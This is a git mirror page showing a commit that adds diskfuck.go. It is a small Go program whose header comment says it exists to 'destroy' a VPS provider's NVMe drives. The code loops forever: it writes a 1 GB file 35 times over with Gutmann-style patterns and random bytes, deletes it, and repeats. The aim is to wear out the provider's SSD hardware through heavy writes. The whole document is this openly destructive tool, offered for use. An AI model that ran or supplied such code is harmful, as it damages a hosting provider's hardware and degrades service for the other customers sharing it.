mirror of
git://git.acid.vegas/random.git
synced 2024-11-14 12:06:38 +00:00
diskfuck.go
This commit is contained in:
parent
90f2438588
commit
50113de713
64
diskfuck.go
Normal file
64
diskfuck.go
Normal file
@ -0,0 +1,64 @@
|
|||||||
|
// DESTROY YOUR LOCAL VPS PROVIDERS NVMe's
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"math/rand"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
fileName = "secure_file.dat"
|
||||||
|
fileSize = 1 << 30 // 1 GB
|
||||||
|
)
|
||||||
|
|
||||||
|
var gutmannPatterns = []byte{
|
||||||
|
0x55, 0xAA, 0x92, 0x49, 0x24, 0x00, 0xFF, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF,
|
||||||
|
0x92, 0x49, 0x24, 0x55, 0xAA, 0x00, 0xFF, 0x44, 0x55, 0xAA, 0x92, 0x49, 0x24, 0x00, 0xFF, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
|
||||||
|
0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x92, 0x49, 0x24, 0x55, 0xAA, 0x92, 0x49, 0x24, 0x00, 0xFF,
|
||||||
|
}
|
||||||
|
|
||||||
|
func createFile() *os.File {
|
||||||
|
f, err := os.Create(fileName)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Error creating file: %v", err)
|
||||||
|
}
|
||||||
|
return f
|
||||||
|
}
|
||||||
|
|
||||||
|
func writeFile(f *os.File, data []byte) {
|
||||||
|
_, err := f.Write(data)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Error writing to file: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
for {
|
||||||
|
f := createFile()
|
||||||
|
|
||||||
|
for i := 0; i < 35; i++ {
|
||||||
|
if i < len(gutmannPatterns) {
|
||||||
|
data := make([]byte, fileSize, fileSize)
|
||||||
|
for j := range data {
|
||||||
|
data[j] = gutmannPatterns[i]
|
||||||
|
}
|
||||||
|
writeFile(f, data)
|
||||||
|
} else {
|
||||||
|
data := make([]byte, fileSize, fileSize)
|
||||||
|
for j := range data {
|
||||||
|
data[j] = byte(rand.Intn(256))
|
||||||
|
}
|
||||||
|
writeFile(f, data)
|
||||||
|
}
|
||||||
|
f.Seek(0, 0) // Reset file pointer to start
|
||||||
|
}
|
||||||
|
|
||||||
|
f.Close()
|
||||||
|
|
||||||
|
err := os.Remove(fileName)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Error deleting file: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
Loading…
Reference in New Issue
Block a user